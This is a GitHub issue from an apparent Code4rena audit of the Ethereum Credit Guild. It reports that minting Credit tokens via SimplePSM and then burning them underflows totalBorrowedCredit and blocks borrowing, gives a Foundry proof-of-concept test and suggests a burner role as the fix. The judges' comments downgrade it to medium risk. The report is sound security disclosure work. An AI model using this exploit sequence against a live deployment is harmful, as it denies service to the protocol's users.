Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Attacker can burn his Credit tokens to DoS the protocol #663

Closed
c4-bot-5 opened this issue Dec 27, 2023 · 4 comments
Closed

Attacker can burn his Credit tokens to DoS the protocol #663

c4-bot-5 opened this issue Dec 27, 2023 · 4 comments
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue duplicate-1170 satisfactory satisfies C4 submission criteria; eligible for awards sufficient quality report This report is of sufficient quality

Comments

@c4-bot-5
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L172-L176
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L379-L380

Vulnerability details

Impact

User can mint credit tokens in the SimplePSM contract

    function mint(
        address to,
        uint256 amountIn
    ) external whenNotPaused returns (uint256 amountOut) {
        amountOut = getMintAmountOut(amountIn);
        pegTokenBalance += amountIn;
        ERC20(pegToken).safeTransferFrom(msg.sender, address(this), amountIn);
        CreditToken(credit).mint(to, amountOut);
        emit Mint(block.timestamp, to, amountIn, amountOut);
    }

and then burn them making totalBorrowedCredit to underflow

    function totalBorrowedCredit() external view returns (uint256) {
        return
            CreditToken(credit).targetTotalSupply() -
            SimplePSM(psm).redeemableCredit();
    }

Since we use totalBorrowedCredit function in borrowing operations users won't be able to use protocol terms .

Proof of Concept

The protocol uses totalBorrowedCredit value to assess debt across multiple terms, it is basically amount of credit tokens that we can redeem for collateral in SimplePSM subtracted from the credit total supply. We can inflate redeemableCredit while simultaneously decreasing targetTotalSupply by minting tokens in SimplePSM and burning them. If we manage to burn more tokens that were borrowed, redeemableCredit will be greater than targetTotalSupply and totalBorrowedCredit will underflow.

Test case for LendingTerm.t.sol , set psm as MINTER in setUp

       core.grantRole(CoreRoles.CREDIT_MINTER, address(psm));
   function testCantBorrow() public {
        address mal = makeAddr("Mal");
        // prepare & borrow
        uint256 borrowAmount = 1_000e18;
        uint256 collateralAmount = 1_000e18;
        collateral.mint(address(this), collateralAmount);
        collateral.mint(mal, collateralAmount + 1);
        collateral.approve(address(term), type(uint256).max);

        bytes32 loanId = term.borrow(borrowAmount, collateralAmount);
        
        vm.startPrank(mal);
        // mint tokens in PSM and burn them, to stop borrowing operations we need to burn
        // totalBorrowedCredit + 1 = 1001
        collateral.approve(address(psm), collateralAmount + 1);
        psm.mint(mal, borrowAmount + 1);
        credit.burn(borrowAmount + 1);
        vm.stopPrank();
        // no more borrows
        // revert with underflow
        vm.warp(block.timestamp + 1);
        collateral.mint(address(this), collateralAmount);
        loanId = term.borrow(borrowAmount, collateralAmount);
    }
```

## Tools Used
Foundry

## Recommended Mitigation Steps
Add a BURNER_ROLE so only authorized addresses can burn credit tokens.


## Assessed type

DoS
@c4-bot-5 c4-bot-5 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Dec 27, 2023
c4-bot-5 added a commit that referenced this issue Dec 27, 2023
@c4-pre-sort c4-pre-sort added the sufficient quality report This report is of sufficient quality label Dec 30, 2023
@c4-pre-sort
Copy link

0xSorryNotSorry marked the issue as sufficient quality report

@c4-pre-sort
Copy link

0xSorryNotSorry marked the issue as duplicate of #1170

@c4-judge c4-judge added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value downgraded by judge Judge downgraded the risk level of this issue and removed 3 (High Risk) Assets can be stolen/lost/compromised directly labels Jan 28, 2024
@c4-judge
Copy link
Contributor

Trumpero changed the severity to 2 (Med Risk)

@c4-judge
Copy link
Contributor

Trumpero marked the issue as satisfactory

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Jan 28, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue duplicate-1170 satisfactory satisfies C4 submission criteria; eligible for awards sufficient quality report This report is of sufficient quality
Projects
None yet
Development

No branches or pull requests

3 participants